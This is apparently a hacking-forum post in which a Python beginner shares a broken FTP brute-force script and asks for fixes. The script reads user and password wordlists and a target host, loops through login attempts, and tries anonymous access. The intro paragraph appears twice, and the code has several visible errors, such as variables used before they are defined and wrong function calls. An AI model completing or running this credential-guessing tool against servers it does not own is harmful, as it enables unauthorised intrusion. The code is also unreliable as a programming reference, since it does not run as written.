Hey Hf members !
i recently got my self into Python
and started to enjoy it by making new script of FTP bruteforcer
anyways ; i wrote all of that from what i understood of FTP library and python basics
and tried to make a script out of it
i tried to dictionary the usernames by raw_inputting
and so are the passwords
if you could help me here by telling me whats wrong and how do i improve
(im just learning , please dont mind me and thanks)
i recently got my self into Python
and started to enjoy it by making new script of FTP bruteforcer
anyways ; i wrote all of that from what i understood of FTP library and python basics
and tried to make a script out of it
i tried to dictionary the usernames by raw_inputting
and so are the passwords
if you could help me here by telling me whats wrong and how do i improve
(im just learning , please dont mind me and thanks)
Code
from ftplib import FTP
import sys
target = raw_input("FTP : ")
usr = raw_input ("User list : ")
pw = raw_input('pass list : ')
def ftp_login( usr ,pw ):
try:
ftp.login(target,usr,pw)
ftp = FTP(target)
ftp.quit()
print "user found {}" .format.usr
print "pw found {}" .format.pw
sys.exit(0)
except:
pass
def anontry (target):
ftp = FTP(target)
FTP.login()
print "user is anonymous"
print "pass is anonymous"
def brute_force(target,usr,pw):
try:
fo = open(pw,"r")
wordlist=pw.readlines()
for word in wordlist:
word=word.strip()
ftp_login(target,user,word)
fo1 = open(usr,"r")
usrlist = usr.readlines()
for user in usrlist:
user=user.strip()
except:
print 'not found !'
sys.exit(0)
brute_force(target,usr,pw)
anontry(target)

